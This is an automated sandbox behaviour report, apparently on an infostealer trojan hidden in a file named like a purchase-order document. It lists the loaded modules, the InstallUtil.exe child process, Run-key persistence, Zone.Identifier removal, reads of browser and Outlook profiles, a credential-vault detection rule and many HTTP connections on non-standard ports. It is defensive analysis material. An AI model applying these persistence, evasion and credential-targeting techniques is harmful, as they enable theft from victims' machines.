Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_06183428	6_2_06183428
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_06185558	6_2_06185558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_061865A8	6_2_061865A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0618C118	6_2_0618C118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0618B1D8	6_2_0618B1D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_06187D30	6_2_06187D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_06187650	6_2_06187650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0618E330	6_2_0618E330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_06180040	6_2_06180040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_06185CB0	6_2_06185CB0

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6484 -s 26904

Source: POs#U034fx#U034fl#U034fx#U034f..exe

Static PE information: No import functions for PE file found

Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000000.1314962577.000001FD251A2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameUnitGamePac.exe8 vs POs#U034fx#U034fl#U034fx#U034f..exe
Source: POs#U034fx#U034fl#U034fx#U034f..exe	Binary or memory string: OriginalFilenameUnitGamePac.exe8 vs POs#U034fx#U034fl#U034fx#U034f..exe

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Section loaded: cryptbase.dll

Source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE

Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/8@6/100

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Roaming\YZbrmyt

Jump to behavior

Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:42948:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6484
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4648:120:WilError_03

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\00e6bd01-da79-4f11-8e27-7b7c2dffd2dd

Jump to behavior

Source: POs#U034fx#U034fl#U034fx#U034f..exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: POs#U034fx#U034fl#U034fx#U034f..exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: POs#U034fx#U034fl#U034fx#U034f..exe

ReversingLabs: Detection: 60%

Source: unknown	Process created: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6484 -s 26904
Source: unknown	Process created: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe "C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe"
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe "C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe"
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe	Jump to behavior

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: POs#U034fx#U034fl#U034fx#U034f..exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: POs#U034fx#U034fl#U034fx#U034f..exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: POs#U034fx#U034fl#U034fx#U034f..exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 00000006.00000002.2585853476.0000000005B82000.00000004.00000020.00020000.00000000.sdmp, YZbrmyt.exe, 0000000B.00000000.1665928586.0000000000362000.00000002.00000001.01000000.0000000A.sdmp, YZbrmyt.exe.6.dr
Source:	Binary string: InstallUtil.pdb source: InstallUtil.exe, 00000006.00000002.2585853476.0000000005B82000.00000004.00000020.00020000.00000000.sdmp, YZbrmyt.exe, 0000000B.00000000.1665928586.0000000000362000.00000002.00000001.01000000.0000000A.sdmp, YZbrmyt.exe.6.dr

Source: POs#U034fx#U034fl#U034fx#U034f..exe

Static PE information: 0x97BE3889 [Sat Sep 3 13:52:09 2050 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00D8ED68 push eax; retn 0611h	6_2_00D8EE11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00D80CB5 push edi; ret	6_2_00D80CC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_06165488 push es; ret	6_2_061654B9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run YZbrmyt			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run YZbrmyt			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: icon2083.png

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File opened: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe:Zone.Identifier read attributes | delete

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 55019
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 9401
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 5005
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 32100
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 34144
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 83
Source: unknown	Network traffic detected: HTTP traffic on port 8800 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 9401 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 10003
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 14282
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 24787
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 20037
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 55019
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 40536
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 30000
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50228 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 49478
Source: unknown	Network traffic detected: HTTP traffic on port 10003 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 41055
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 48553
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50293 -> 44195
Source: unknown	Network traffic detected: HTTP traffic on port 50380 -> 6001
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50249
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50323 -> 9123
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 37876
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 34144
Source: unknown	Network traffic detected: HTTP traffic on port 50431 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50436 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50461 -> 59559
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 9990
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 5005
Source: unknown	Network traffic detected: HTTP traffic on port 50253 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50460 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50409 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50419 -> 24543
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 8090
Source: unknown	Network traffic detected: HTTP traffic on port 50347 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 50173
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 24787
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 9090
